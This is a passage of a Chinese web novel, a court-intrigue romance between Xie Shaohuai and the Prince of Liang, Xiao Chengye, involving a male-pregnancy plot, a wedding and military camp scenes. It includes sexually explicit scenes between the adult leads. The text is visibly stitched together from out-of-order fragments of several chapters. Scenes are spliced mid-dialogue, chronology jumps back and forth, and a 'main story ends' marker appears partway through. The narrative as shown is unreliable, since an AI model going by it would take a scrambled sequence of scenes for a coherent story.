谢少淮自然也看到了萧承野,不等他说话,长乐宫谢父和谢五郎破玄随着刘卿一起出了门,刘卿看着被禁军押着的青年,哎呀一声,匆忙上前:“快松开,陛下要召见,你们这是作甚?” 萧承野见状,跪着往前挪动几步:“皇兄肯见小王吗?” “是,”刘卿点了点头:“陛下就等着谢师保过来呢,殿下,快别跪了,进去免圣吧。” 谢少淮蹙眉,看着一旁出了脸色有些疲惫并未受刑的谢父和谢五郎不由问了一句:“父亲,兄长你们没事……” “我儿担忧了,爹没事,”谢父:“快进去见陛下吧。” 见父亲和五哥安然无恙,谢少淮这才松了口气,他觉得事情和他想象的有些不一样,但却不知从何说起,只好点了点头,随着地上跪着的萧承野一起进了殿。 殿内,建宁帝还靠在交椅上,见两道身影进殿,青年天子脸色带着些异色,将目光方才一袭素衣的谢少淮身上:“谢卿,梁王,你们可知错?” 谢少淮沉默不言,遂掀开袍子,恭恭敬敬地跪在青年天子脚下:“陛下,臣有本要奏……” “停停停——” 谢少淮方才进宫的时候,手里的治安疏已经被夺去了,想来天子早就看到了,幸他有准备,见天子不愿听,他便又将自己的备份拿了出来:“陛下……” 建宁帝见青年又要说政事,大手一挥,直接问:“朕是问你,这两天和梁王去哪里了?” 谢少淮以为自己是听错了,他抬眸,眸色沉沉:“臣——” 他与萧承野去劫走周氏安排的“狸猫”之事,难不成已经被男人知道?或者说,这可能是周氏下的一盘棋? “皇兄,”萧承野叩首在地:“劫走太后娘娘身边婢女的事情是臣弟的主意,此时和谢师保没有关系,臣弟——” “这就对了,”建宁帝见地上的两个人终于上道,满意地吁了口气,“母后要办的事情,是朕答应过的,朕……罢了,朕不怪你们了,只是这件事事关我大周江山社稷,不可外传。” 说罢,建宁帝看着一旁脸色煞白的谢少淮,又问:“谢卿,朕之前久病难医,确做了一些打算,但朕现在好了,之前的事情朕可以不追究你,但你要为朕办一件事。” 谢少淮闻言瞠目结舌,他难以置信的看着上座的天子,“陛下……臣定全力以赴。” “谢卿倒也不用这么正经,”青年天子垂眸看着地上那一副伶仃瘦骨,不由有些难受,这么一个可怜巴巴的高冷美人,结局却让人唏嘘。 他道:“近年来,琢州、南蛮等地带多发农民起义,再加上匈奴人骚扰,边境的百姓是民不聊生,内亟需政令改革,外需枪兵猛将抵御,朕看你和梁王就是不错的人选。” 谢少淮:“……” 谢少淮心间不由有些疑惑,他微微抬眸,余光看向面前的天子,不知为何,他觉得面前与往日一样面容憔悴的男人,性情却与以往大不相同。 萧承野觉得自己好像听错话了。 他没想到谢少淮今日要对他说的话竟然是这些。心中的无数悲愤此刻化为了绵绵细雨落在他的心头。 谢少竟然要和他和好? 谢少淮要与他和好。 他主动与自己提出来要……和好? 萧承野眸子亮了亮,有些不争气地想要立马答应。但是又想谢少淮方才一直说的都是因为阿澶……所以他并非是因为心悦他才提出来要和好的吗? 萧承野忍得难受,恨不得要把后槽牙咬碎,他起身将自己的衣物穿戴好,沉思良久:“大人抛夫弃子在先,小王怎敢再犯,除非……” 萧承野滑了滑喉,实在是忍不住了,他一把将谢少淮压在身下,他用腿分开青年的合不拢的双膝,手按着那方才不断凸起的小腹,想了一个谢少淮绝对不能答应的事情,恶狠狠问道:“除非大人再给小王生一个。” 他自然不舍得谢少淮再受生产之苦。 可是他也知道,谢少淮在意这个,若是他当真只为了阿澶与他和好,自然是不愿生的,但是万一呢…… 万一谢少淮看到了他的改变呢,那么有一点点喜欢他呢? 但是说完萧承野就后悔了。 他手足无措地看着身下的谢少淮,唇抿了又抿,“你不愿就算了……” 谢少淮眉心蹙着,认真思考了萧承野的要求:“嗯,现在确实不行,等你回长安之后我们再说这件事。” 萧承野听完,眸子蓦地红了。 第 80 章 第 80 章 萧承野闻言鸦羽垂下,一滴泪从眼眶里掉了下来。压在心底整整三年的情绪,此刻如决堤的堰口,一发不可收拾。 他抵着谢少淮的额,想和他说些什么,但是话到了嘴边又不知怎么开口。他只能深深吻上他的唇,恨不得将谢少淮肉仔自己的血肉之中,亲完之后也不想放开他。 他念念道:“阿淮,你知道小王等你等了多久吗……” 萧承野硬邦邦的胸膛在压在身前,让人快要喘不上气了。 谢少淮推了推男人,却被他捧住了脸颊,深吻下来。湿濡的舌尖在他口腔慢慢扫过,又一下一下勾着他的舌根。 “唔……”谢少淮身子上汗津津的,跟个玩偶似得被萧承野圈在怀里,不过他并未有再做出什么拒绝的动作,而是尽可能的去配合……他伸出舌头回应萧承野,又含着他微凉的唇瓣,“……我累了。” 半个月后,长安城内锣鼓喧天,红绸铺了数十里,唢呐响彻天际。 谢少淮一袭红衣,坐在轿撵中。 长安民风开放,谢少淮更是不在乎这些,即便成婚前几日还能听见街上流言纷纷,但真到了成婚这天,还是非同地热闹。 青松穿着新衣服,乐呵呵地跟在他家公子轿撵旁,朝着梁王府的方向去。 一路上,百姓们人头交错,交谈声不绝于耳。 “传闻谢家六公子美若天仙,可惜了这么俊俏的公子坐在轿子里,咱们瞧不见啊。” “谢太尉多子无女,今日也是尝到了嫁闺女的甜头的。” “快去抢喜糖,好沾沾梁王府的喜气!” 青松听着声儿,不忘和轿子里的公子分享:“公子,大家都夸您张的甚美呢。” 谢少淮:“……”“你放心,皇儿留下来的一定会是个皇子,”周氏危襟正坐,双手扶着扶手,探着身子看着萧承野:“等新帝登基,除去谢家,哀家便送你回琢州给你母亲报仇,如何?” “多谢太后娘娘体恤,”周氏已经将话说到这个份上,萧承野也没必要再装傻,他起身给周氏行了大礼,叩首在地,“臣愿为娘娘效犬马之劳。” “有你这句话哀家就放心了,”周氏吁了口气,稳稳坐在椅子上,淡淡道:“傅家那位举荐谢氏六郎做你的师保,乃司马昭之心,你私自联系起义军的事情,若被他们发现了,皇儿必定和你离心。” 周氏:“你暂且看着谢家的动作,哀家已经差人去寻皇儿宠幸的女子,待事成之后,你便杀了谢家六郎,届时就算谢忠想做什么,他也无力回天。” 萧承野闻言的眸子不禁一缩,但随即他向女子叩首,答应下来。 周氏看着地上跪着的少年,又淡淡说了一句:“当年你母亲被孙昭仪下药,哀家用了祖传的灵药才救下她,若是她还活着,见你生的这么像先帝一定很欣慰。” 萧承野重重将头叩在地上:“娘娘救母之恩,承野没齿难忘。” 夜风萧瑟,冻得人四肢百骸都是冰凉的。谢少淮跪在房脊的琉璃瓦上,麻木的双肢支撑着身子。 不久后,殿内的话语声渐渐平静下,谢少淮身侧的破玄见时间差不多了,便打算带人离开:“公子,殿下该让您知道的,都让您知道了,咱们得回去了。” 谢少淮点了点头,随后跟着身边的黑衣男人离开,回到了午门外的树上。皇城外是一片浓密的槐树林,此刻还是冬天,树梢上光秃秃的,偶尔有几个蝙蝠从头顶略过。 谢少淮武功不好,这一一来一回花了近两个时辰,他有些吃不消,从树上下来,便靠着一颗枯树休息。 破玄的身份特殊,不宜留在长安城内,更不宜留在皇宫外,但是殿下交代他,眼前的这位公子十分矜贵,要他时时刻刻守着。 等着他家殿下从宫里出来还不知到什么时候,破玄见青年沉默不语,便小声朝他搭话:“小公子,你和我家殿下是什么关系?” 谢少淮方才听了周太后和萧承野的对话,脑子里如浆糊一样乱,听见身边的男人与他搭话,这才反应过来,“没什么……关系。” “奇怪,”破玄:“殿下做事一向谨慎,你若不是我们王府的人,殿下为何要冒这么大的风险带你听老太婆的腌臢事儿?” 谢少淮:“……” 谢少淮大概能猜到,他身边的男子应该是萧承野从琢州带过来的心腹,这人武功虽好,说话却简单粗暴,可见不是什么有心机之辈。 周氏和萧承野的关系比他想象的要复杂的多,谢少淮不便自己判断,便收了收思绪,看向身边的男子,随便道:“梁王殿下不是一向坦率吗?” 谢少淮又道:“我们是挚友。” 破玄:“。” 挚友?那我算什么?牛马吗? 破玄闻言懵了懵,想不起殿下来长安后交了什么朋友,好像有老太婆的几个外甥?但是殿下已经说和他们绝交了,自然也不可能是谢家的人,老太婆早让殿下搞谢家的人了。 破玄实在想不出,只好疑问道:“您难道就是殿下口中那个中了生子秘药的‘我有一个朋友’?” 谢少淮:“……” 谢少淮僵硬地点了点头,“是。” 谢少淮:“不过,殿下为我找解药之事,他说没告诉别人的,你怎么知道?” 破玄:“这还不简单,因为是属下回家帮殿下找的药!” 破玄挠了挠头,说完,他才意识到,自己好像太多嘴了!他们不能私自回去!若是被老太婆知道殿下联系将军,那不久完了!? “原来如此,”谢少淮眸子沉了沉,“那多谢兄台了。” 破玄:“。” 破玄懊恼至极,还想补救补救,却不想这时候,不远处传来马儿的啼叫声,紧接着一抹身影朝着他们这边过来。 谢少淮听到动静,站起身来,不久便看到萧承野带着面罩过来。 夜色朦胧,微弱的光线透过稀疏的枯树枝,一束束似纱般的光散落下来。少年的眸子里映着缕缕微弱月光,眸子沉沉,一言不发地朝着他走过来,到了跟前,少年垂下脑袋,小声咕哝:“阿淮,小王没有秘密瞒着你了。” 谢少淮:“……” 萧承野是带着目的接近谢少淮的,诚然,他是不情愿的,但这也改变不了什么。 少年会内疚也正常。 谢少淮扶上少年的肩,安慰他道:“殿下,既然已全盘脱出,阿淮还有什么好埋怨的,眼下还是先解决事情的好。” “嗯,”萧承野有些欣喜,他来长安之后,周氏确实让他多地方谢少淮,他却没想到青年这么大度,或者这么……喜爱他。 谢少淮将头顶上的喜帕取下来,掀开帘子,看着外头热闹非凡的场景,人确实多。也不知到时候他和萧承野和离的时候,看热闹的人会不会也这么多。 “聒噪。”谢少淮收回手,阖上了眸。 酉时后,梁王府内宾客散去,谢少淮独坐在翻新过的喜房内,靠着软垫看自己昨日和李云商议的政策。 这时候,房间外传来萧承野的声音,“东西交给小王,你们都退下,不准打扰王妃。” 喜婆婆们:“是。” 声音落下,谢少淮将手里的东西收了起来,准备去拿自己的红盖头,却在拿到手的时候犹豫了,他又不是女子,为何要走这些麻烦的流程。 思及此,谢少淮随手将那喜帕一扔,丢在床上,随后外殿传来少年有些醉意的声音:“阿淮,我进来了。” 谢少淮手里攥着那红盖头,思忖少顷,最后还是盖上了。 “进来吧。” 不多是,一双玄色的皂靴停在谢少淮视线内。紧接着少年拿着秤杆掀开了谢少淮的盖头。 喜房内点着红烛烧的正旺,虚虚晃晃的光线洒在细腻的红色绸缎上。喜帕下是熟悉又明艳的面容。青年并未画浓妆,只涂了些浅色的口脂,可萧承野的目光却落在那唇上,再也移不开了。 他道:“阿淮,你今日好美。” 谢少淮抬眸,浓稠的长睫微微颤动,在那双琉璃色的眸子下落一圈月牙形的阴影,青年唇瓣微微启开,露出一点洁白的皓齿。 谢少淮还未说些什么,面前的少年像是吃错了药,倏地将他铺在喜床上,湿濡的舌强势地撬开他的唇,一边吻一边蹭他的脸颊:“阿淮,你真美,” 谢少淮无语地推着少年的脸,嫌弃地用帕子擦了擦自己脸上的口水:“去打水,我要沐浴。” 萧承野被青年推着脸,亲不到,想将人抱起来,却甫一碰上青年的腰身,就被人瞪了一眼。萧承野立马怂了,松开人,但也没去打水,直接靠在青年胸口不动了:“穿喜服前都要沐浴的,早上洗过晚上就不用洗了……” 萧承野:“我们直接洞房好不好。” 谢少淮:“……” 推了推少年,“不去我便睡了。” 萧承野今日想尽办法才躲了酒,一听谢少淮要睡,哪里能同意,麻溜起来去准备热水了。 谢少淮沐浴完,一旁守着他的少年就跟疯狗似得,猛扑了上来,一把托起他,直接压在了床上:“好香,阿淮好香。” 谢少淮:“……” 谢少淮仰着脖子,将那难忍的酥痒压在喉咙下,轻轻喘息道:“我们的合卺酒还没喝。” “知道的,”萧承野舔了舔牙,将榻上的人舔了一遭,又抱了起来,就这么抱着人,大咧咧坐在凳子上,单手倒了酒,含住一口就直接渡过去。 酒液顺着谢少淮的颈打湿了红色的寝衣。 酒液在来回推送中分食殆尽。 “喝完了,”萧承野单手扯开青年的寝衣,拖着青年揉圆搓扁,“阿淮,今夜小王要尽兴。” “不准说不要。” “不准说深。” “也不准让小王滚。” 谢少淮:“……” 不偏不倚,这几日刚好是他情毒发作的日子,今晚的药他也没吃。谢少淮轻轻靠在少年肩头,垂眸扯开萧承野身上繁琐的喜服,“最近殿下又长高了?” “小王才十八,”萧承野自己扯开裤带:“长大点不是很正常吗?” 说罢,还故意惦着‘拍打’青年纤细的小手:“它想阿淮了。” 谢少淮:“……” 谢少淮抬手接替萧承野,碰到扎手的地方,眉心不由一紧,索性闭上了眼,咕哝了句:“丑东西。” 谢少淮在建宁帝营帐里扑了个空,回到自己营帐的时候,见萧澶已经乖巧躺在床上了,青松正守着他,给他说长安的事情。 谢少淮走过去,见萧澶还没睡着,便示意青松先去休息。 青松临走之前给床上的小团子使了使眼色,这才满意离开。 谢少淮没注意到青松和小团子的小九九,只是俯身看了看没睡的萧澶:“阿澶今日在皇伯伯哪里都做什么了?” “嗯,”萧澶:“没做什么,就听丞相大人和皇伯伯他们说大营外哪里有好玩的地方了,皇伯伯说大漠的夕阳特别好看,父亲明天晚上你带阿澶去看夕阳好不好?阿澶也想去。” “哦,对了,还得带上青松哥哥。” “好,”他们在大营待不了几日了,谢少淮还不知萧澶要不要跟他回去,现在还有时间,多陪陪孩子总没错:“那明日爹爹骑马带阿澶去好不好?” “好!”萧澶满足地揉了揉脸蛋:“父亲对阿澶最好了!” 【正文完】 第 81 章 第 81 章 翌日酉时,萧承野从河西一带回到大营,还没进去就看到了青松带着萧澶在大营内来回踱步,一看便知道是等着他的。 破玄自然也看到他家小殿下了,便十分有眼力见地将带回来的俘虏押走:“将军,您先去看小殿下,剩下的事情属下来就行。” 萧承野应了一声,翻身下马,用手帕将甲胄上的血迹又擦拭了一遍,这才朝着萧澶走去。 “爹爹!”萧澶在这里等了爹爹快一个时辰了,还以为等不来呢,见男人朝着他这边走来,萧澶小碎步迎了上去:“爹爹!阿澶好想你。” 萧承野一把将小团子抱在肩膀上,带着人往自己的营帐走:“跟爹爹说说,今天和你父亲都做什么了?” 萧澶想起来自己和青松哥哥的计划,转了转小脑袋:“阿澶没做什么,父亲和皇伯伯在忙,爹爹呢,爹爹一会儿有时间吗?” 萧承野闻言,站住了脚,挑眉看着明显有事情要说的萧澶:“阿澶要做什么?” “是想问爹爹和父亲的事情吗?”萧承野知道小团子脑瓜里想什么,便十分大方地告诉他了:“阿澶放心,爹爹和父亲已经和好了,过几日阿澶便和父亲回长安去,等爹爹把匈奴人都打跑了,爹爹便回长安找你和你父亲。” 萧澶闻言,心里咯噔一声。 果然和青松哥哥说的一样,爹爹为了让他安心和父亲回长安,真是什么话都说的说来! 萧承野目送青年离开,这才朝着长乐宫的方向去。 彼时长乐宫,建宁帝刚发完一通火,刘卿恭敬地侯在天子身边:“陛下,气大伤身。” 建宁帝拜拜手:“朕其实没生气。” 说着,建宁帝示意刘卿将长乐宫的门关上,随后他便从龙椅上起身,走到窗前。 “这次出征,本就是朕的错,”建宁帝甫一说罢,去关门的刘卿便急忙上前道:“陛下您是天子,天子怎么会错?” 建宁帝:“……” 建宁帝不欲和刘卿多嘴,便道:“迷信——梁王来了没,朕还有要事问他。” 建宁帝话音刚落,萧承野刚好过了清明门,到了长乐宫前。 刘卿顺着窗户,远远便瞧见了梁王,道:“陛下,梁王殿下过来了。” 萧承野上次进宫,还是皇兄与他商议平叛琢州起义之事,他没有答应皇兄,皇兄也没责怪他。今日宫里人来传话时,并未提及皇兄找他何事。 萧承野丈二和尚摸不着头脑,但谨记谢少淮和他说的话,进殿后,萧承野规规矩矩地给上座的天子叩首:“臣弟——” 长乐宫内,建宁帝表情一改方才的松弛,不过刚过了弱冠年纪的青年天子,略带着些稚气的面孔上,隐隐带着几分帝王的威严。 建宁帝不苟言笑,抬手示意地上的少年:“起来吧,刘卿,赐座。” “是。”但萧承野和周氏无亲无故,且他背后是手握军权的卫家,周氏自然不可能推举萧承野。 于是他们做了一桩交易,周氏许了萧承野一件事,让萧承野过来做卫家的质子,若天子度过冬日,那萧承野便可平安回去涿州,若不然,他们便要推举新君登基,等朝局稳固,萧承野才能回去。 谢少淮大约知道萧承野和周氏的关系,但萧承野所说的话并不能全信,毕竟萧承野可是日后会谋反之人,又有什么事情能让他将皇位拱手让出呢? 也不排除萧承野在撒谎,萧承野或许是想要皇位的,但周家不肯。 不管萧承野的计划如何,谢少淮知道,建宁帝不会死,因为他的梦里所言,这个世界的主角就是天子和他的舅舅,待日后平定国内的战火,两人的故事才逐渐走向收尾——不过没有人知道天子不会死。 建宁帝不会死,周氏的计划也好,萧承野的计划也好都只能落空。 萧承野方才对他说,今夜周氏来找他,大概是已经觉得为建宁帝找接班人了。 他们暂不知此人是谁。 这件事谢少淮本不用耽误自己的时间,毕竟话本里,建宁帝一定会度过此劫,他只要留心找萧承野谋反的实证就好。 但是谢少淮却不记得建宁帝是如何化解危机的,若是自己能和萧承野一起将周氏的计划打乱,说不定建宁帝清醒之后,能看清周氏的嘴脸,谢家也可喘口气来。 “公子,身子放松,”正在谢少淮思忖的时候,身边的男子提醒他:“咱们要速速跟上。” “劳烦,”谢少淮点了点头,随即那男人紧紧握住他的手腕,一股猛力袭来,谢少淮气息沉下,随着那男子从宫墙跃到高耸的屋脊上,随后飞跃着朝着慈宁宫的方向去。 萧承野将马车停在了慈宁宫外,很快宫里的嬷嬷过来接应,萧承野随着嬷嬷进了慈宁宫,在殿外侯了一炷香的时间,宫殿内的小太监出来,“梁王殿下,娘娘请您进去。” 萧承野来之前,快马出了一趟城,将破玄带了回来。 破玄是他的亲卫,武功并不在他之下,他既然决定帮助阿淮,那就不应该保留自己的任何事,他自己都不知道,周氏打算怎么为天子续后,但不管是何办法,一定是不合礼法的。 “多谢,”萧承野眼尾余光落在慈宁宫外的房脊上,随后大步流星进了宫殿。 与此同时,谢少淮和那黑衣男人在主殿侧的厢房等候多时,待巡查的守卫军过去一波,才朝着主殿的房脊上跃去。 破玄得了殿下的命令,带这位漂亮公子过来听周老太婆的悄悄话,但是慈宁宫的护卫太多了,找了好久机会才勉强找到一个能听见声音的地方。 破玄将那公子方才,单膝跪下取了几片瓦,随后殿内的声音便更清晰了些。 “娘娘的意思是,陛下几个月前出巡曾宠幸过一个宫外女子?”男人的声音很模糊,但尚可能听懂他的话:“若那女子怀的是女孩怎么办?” 慈宁宫内。 年过五旬的夫人正坐在交椅上,她头点珠翠,面着浓妆,身上的服侍鞋袜无一不精致名贵。女子面前垂着一道珠帘,她对面的正殿上,仅有一个小太监候着,萧承野坐在一侧,认真听她讲话。 周氏自认为梁王是个聪明孩子,眼下他的皇儿已是沉疴难医,宫里的嫔妃自进宫以来,没有一个被宠幸过,又何谈一个名正言顺的太子?前几日太医署的人说了,陛下的身子越发羸弱,每日只能靠着药吊命,虽尚有一口气在能说话,可再拖点时间就和死人也差不多了。 事已至此,她不得不为周家做打算,眼下皇儿听话能把谢家的一些小兵小卒处理了,可谢忠毕竟是先帝钦点的太尉是托孤之臣,想动谢忠,谈何容易?更何况还有一个傅家在。 她等不到皇儿亲自帮她处理谢忠,只能扶持一个傀儡上去,再找机会把谢家斩草除根,以稳固周家的势力。 萧承野也听说建宁帝因为谢二哥和周崇打了败仗的事情生气,眼前天子又一脸严肃,可见震怒不假。 萧承野回礼,在天子身侧落座:“皇兄,涿州的事情臣弟都听说了……” “你既知道朕的心事,又为何不愿领兵?”建宁帝捏了捏眉心,乌瞳垂下,冷冷看着殿下的萧承野:“罢了,朕今日来找你是有别的事。” 说罢,建宁帝没心思看萧承野那副垂头丧气的表情:“你们都退下。” 待长乐宫的众多宫女太监散去,建宁帝这才清了清嗓子,“琢州你既然不愿去,朕也不强求你,朕有另一件事要你去做。” 建宁帝:“朕已经问过了,先梁朝曾有例子,先乐帝为了抚恤功勋,特封平叛有功的大将军为燕亲王——琢州的起义不断壮大,皆因百姓吃不起饭,朕准备先赈济灾民,然后再……再让卫将军带着朕圣旨,招安起义军头目,封地朕都准备好了,就在长安。” 大周朝有祖训,不可封除萧氏以外的人为王。 建宁帝这几日翻遍了史书,才好不容易从先梁朝找到一例特例,既然有先例,那事情就好办了。只是这次军报,说琢州起义军为首的是有近百万的黄眉军,黄眉军已成气候,若只是封侯怕难以让其动摇。 但若是在西北驻守边疆的卫岚前去,再加上亲王的爵位,这件事十有八九能成。这件事若成了,那剩下的小地方势力根本不足为俱;百姓也能回家老老实实种田。 但是这么丧权辱国的事儿,建宁帝没有把握卫岚会干。所以他今天才把萧承野叫过来。 萧承野听完,错愕的抬眸看着上座的天子。若是他没听错,皇兄的意思是要给那起义军头目开大周朝的先例,为他封王,还要驻守边关几十载、在西北一带赫赫威名的卫家铁骑的头目,他的亲舅亲自去? 萧承野以为自己听错了。 琢州等地的起义大多是一些老弱病残,不足为惧,只要朝廷多花时间,迟早能平叛——但若能招安,那便是救下数百万的劳苦百姓。 “萧承野,你知道朕的心思,”建宁帝蹙眉,黝黑的眸子沉沉看着殿下的少年:“兴、百姓苦,亡、亦百姓苦,朕虽破其祖制,但若能保下我大周朝泱泱百姓,朕不惧后世史官笔墨。” 萧承野眉心紧蹙,却不知该怎么回应青年天子,诚然建宁帝说的没错,但若开此先例,亘古未见:“臣弟……” 建宁帝见少年动摇,连连加油添醋:“你放心,朕不让你离长安,你写封信送回去就是,先看看大将军的意思,若大将军不愿意……那朕,那朕就再想别的办法嘛。” 萧承野只好道:“臣弟,领命。” 建宁帝没想到自己的计划这么顺利,不由在心里给丞相大人点个大大的赞:“这件事朕只和你一日说了,事成之前,不可外泄,不然有损我大周朝的了脸面,你知道吧?” “是……”萧承野木讷地点了点头,这件事信息量实在太大,他一时难以消化,却又觉得这件事好像不是天子自己的想法,他好像是听…… 听丞相说过一次。 “朕听说你要和谢卿下乡……咳下地方去推行新政令了?”建宁帝指节夹着一根狼毫笔转悠一圈儿:“好事儿,你和谢卿,是为朕解忧的左右大脑——来吧,现在就写,朕派人八百里加急,今日就给卫大将军送去。” 萧承野:“。” 他怎么感觉,皇兄里里外外说了这么一堆,就是为了让他给舅舅写信。 亥时后,夜色已沉,夜晚的大漠多了几分寒气。 营帐内,谢少淮疲惫地靠在萧承野胸膛小息,氤氲雾气在两人之间萦绕。谢少淮的头发散着,垂在洁白光滑的肩头,鬓角微微出了些细汗,消瘦的脸颊带着难以隐喻的潮红。 两具汗津津的身体紧紧相依,萧承野抵着青年的后脑勺,有些情难自禁地喘了口粗气,垂眸看着那一节巴掌粗细的腰身被自己撞的乱颤。 “阿淮还受得住吗?” “还好……”谢少淮仰头,纤长的脖颈靠在身后宽阔紧实的肩膀上:“王爷明日还要出巡吗?” “嗯,”萧承野:“这几日都空不下来了,不过等阿淮走的那日,本王一定赶回来送你。” “不用,”谢少淮闻言微微蹙眉,转过身去吻萧承野的唇:“一切以军事为先,回不来便就不来,切不可逞强。” “知道了,”萧承野松开了青年的腰,将他身子环在怀里,翻了个身,让青年坐在他腿上,与他面对着面:“一切都听阿淮的。” “阿淮说正事的时候……”萧承野眯了眯眼,看着面前眼尾绯红的青年,恨不得将他直接生吃了去:“真好看,想都喂进去。” 谢少淮蹙了蹙眉,抵着萧承野的胸口,垂眸看了眼自己的小腹:“……” 谢少淮:“房事需节制……多了伤身。” “不会的,阿淮和小王还年轻,”萧承野:“等西北的战事停歇,阿淮天天给本王好不好?本王偶次剿匪见那些人有好多稀罕的玩意,小王喜欢,都想和阿淮试试。” 谢少淮:“……” “专心。”谢少淮大概能猜的出来萧承野说的什么,不过那都是以后的事情了,“先顾好眼前……唔。” “好。”萧承野抬了抬唇,托住了青年的身子,将人反压在榻上,随手拉了被子将两人盖住:“阿淮,腿再分开一些。” 第 82 章 第 82 章 几日后,琢州城为了大战做准备,即将开始封城。建宁帝一行人也到了必须要回长安的日子。 这日一早,刘管事早早将萧澶的东西都备好了,一共好几辆马车拉着,有他的东西,还有王爷的东西,最多的还是小殿下的。 刘管事和青松一早起来收拾东西,萧澶吃了早饭便去找萧明棠了,萧承野这日没有出巡,谢少淮直接宿在男人营帐里。 辰时后,谢少淮才起了床,准备简单拾掇一下便准备离开。 这时候破玄着急忙慌地找了过来,“将军,不好了!” 营帐内,谢少淮已经洗漱完,萧承野像是个没骨头的,一整个早上一直黏在他身上,听见破玄的声音,这才不情不愿的起了身。 谢少淮:“王爷快去看看。” 萧承野掀开营帐,破玄见谢少淮也在,便还是先行了礼,随后才道:“西河的瞭望台点了烽火,应当是遭受匈奴人偷袭了,大将军在敦煌回不来,河西必须咱们过去了。” 本来去敦煌出巡的应该是萧承野,卫岚挂大将军职,送天子启程这样的事情该是他的,但是考虑到萧澶也要走,卫岚昨日便替萧承野去了敦煌。 萧承野本来以为今日能安稳将青年送走。 闻言,他眉心蹙了蹙,有些为难地看了谢少淮一眼:“阿淮……” 谢少淮自然听见了,“王爷快去吧,昨日大将军已经将一切打点好了,再有半个时辰,我们就要启程了。” “好,”大战在即,眼下河西一带不可出一点差池,萧承野来不及和谢少淮说些身边,穿好甲胄便急匆匆出了门。 走到营帐门前,萧承野抱着头盔往账内看了谢少淮一眼,随后头也不回地扎进漫漫黄沙之中—— “珍重。” “不说便滚下去。” 说罢,谢少淮推开少年,从卧房里除去,萧承野小步跟过去,“真不能说——阿淮可饿了?为夫陪阿淮去用膳好不好?” 谢少淮懒得和萧承野说那么多,方才确实生气,但仔细想来不能和自己的身体过不去,过几日离开长安,到了惠阳郡便没有现在的精米良面吃。 见王妃和王爷一前一后到了前院,刘管事和青松这才松了口气,连把晚饭又重新温了,“前些日子五郎君来过一次,说王妃爱吃夫人烧的红烧肉,做饭的王妈妈学了一手,王妃尝尝可还合胃口?” “有劳了,”谢少淮落座,下一句话还没说,身后的萧承野便跟了过来,拉了把椅子便凑到他身边,“你们都下去吃饭,小王陪王妃就好。” 刘管事这才领命下去。 谢少淮无言,不搭理萧承野,少年便上赶着把饭都盛好了:“阿淮想吃什么,为夫给你夹菜。” 谢少淮冷了少年一眼,自己端过来碗:“好了,我自己来。” “不气了?”萧承野手得了空,支颌看着用膳的谢少淮:“阿淮多吃些。” 谢少淮冷冷瞪了少年一眼:“食不言寝不语。” 谢少淮:“闭嘴,要么出去。” 萧承野安生了下来,谢少淮专心用膳,近几日不知怎么了,总是没什么胃口,吃的少了便没什么精神。强忍着吃了一碗汤饼,胃里便胀气了似得,谢少淮放下饭碗,擦了擦嘴:“吃饱了。” 萧承野:“。” 萧承野:“阿淮,你吃的还没小鸟吃的多。” 说罢,萧承野便拂袖夹了一块红腻腻的烧肉,放到青年面前的碗里:“不尝尝吗?小王知道王妈妈的手艺不错的。” 谢少淮:“……” 只是垂眸看了一眼那丰腴的肥肉,眉心便一紧,手撑着餐桌,胃里那翻江倒海的恶心感便席卷而来:“弄,弄走。” 萧承野:“。” 匆忙将东西挪开,萧承野顺着青年的背:“阿淮,你不会有了吧?” 谢少淮好不容易吃进去的晚饭,被萧承野一块红烧肉弄得全吐了出来。漱完口,谢少淮直接回了卧房,连将自己身上洗了一通,用了澡豆,换了衣服,这才满意。 萧承野陪着青年忙前忙后,哼哧哼哧把洗澡水倒了,这才回到房间看谢少淮。萧承野虽不知道怀孕的夫人是何样,但是没吃过猪肉还没见过猪跑吗?阿淮方才的样子真的跟有了孩子一样。 进了房间,见青年靠在小塌上休息,萧承野这才敢上前问:“阿淮,要不然还是请太医过来看看吧,万一真的有了呢。” “不可能,”谢少淮吁了口气,“只是胃不好,年前在辽东出巡,经常犯着毛病。” 谢少淮次次同房后都会服用避子汤,除非那避子汤是假的,不然他不可能怀孕。 谢少淮说罢,见身下的少年明显有些伤心,“……” 萧承野不知他用避子汤的事情,谢少淮觉得没必要和他说,现在他没时间生孩子……等忙完这段时间,若萧承野确实不回琢州,那他确实还能考虑一下要不要生个孩子。 “阿淮,”萧承野垂着脑袋,“你怎么那么笃定不会有……” 萧承野记得青年事后会用补药的事情,但是他从未想过那可能是避子汤,可青年之前明明与他说过,是想要个孩子的。 萧承野滚了滚喉,抬眸看着谢少淮:“你,你之前用的补药,是避子汤吗?” 少年说罢,胸口起伏,似乎是在等待宣判的囚徒。谢少淮的语气十分笃定,若说没有,倒显得有点假。 谢少淮抿唇,垂眸看着少年,“嗯。” 谢少淮说罢,不知为何,心间有几分不忍,便又解释了一句:“现在还不是要孩子的时候……等叛乱结束,新政推行成功,我们再要也不迟。” 萧承野知道青年的事业心重,便点了点头:“好,那说好的。” 晚上,谢少淮送走了建宁帝和舅舅,便洗漱完准备入睡了。这时候在府中留宿的萧澶敲了敲青年的门:“父亲,您睡了吗?” 去年年初,建宁帝被逼选妃,只好自爆有隐疾不能人事,之后周氏提出将萧澶过继给建宁帝,谢少淮和萧承野商量了一下,征求了萧澶的意见,最后将他过继了建宁帝,封为了太子。但是除了一些祭祀典礼会称建宁帝父皇,其他时候萧澶还是称呼他父亲,称萧承野爹爹。 朝中的那些大臣见江山后继有人,也就不再说什么了,毕竟他们逼了天子整整三年,把人都逼的不能人事了,也没抬进后宫一个妃子。 “没有,”谢少淮起身,给萧澶开了门:“快进来,外头冷。” 谢少淮刚说罢,就感觉腰上一紧,已经七八岁的小萝卜头就跟萧承野附体了一样,环着他的腰,在他胸口蹭了蹭:“父亲,阿澶今晚想和你睡。” “给你爹爹说情来了?”谢少淮最了解萧澶这孩子的性子,这几年他越发长大,性格就越像萧承野,只要萧承野回长安,父子二人就能密谋好些事情,年前他就打算亲自去江南,这次不能再拖了,但是他又笃定今夜萧澶会来。 萧澶摇了摇头,抬眸看着青年:“也不算全是……爹爹昨日让破玄叔叔给阿澶送信了,说是十五之前准能回来,让爹爹再等他几日,他想陪你一起去。” “爹爹都大半年没见父亲了,父亲就等爹爹几日好不好?” 萧承野在西北大营,那里是军机要处,不能轻易寄家书出来。 谢少淮头一年带着萧澶从西北离开后,萧承野几乎两个月就要往长安送一封信,后来太勤了谢少淮怕走漏风声,便说了男人几句,打哪之后萧承野就换着法子给萧澶写信了,再借着萧澶的嘴告诉他。 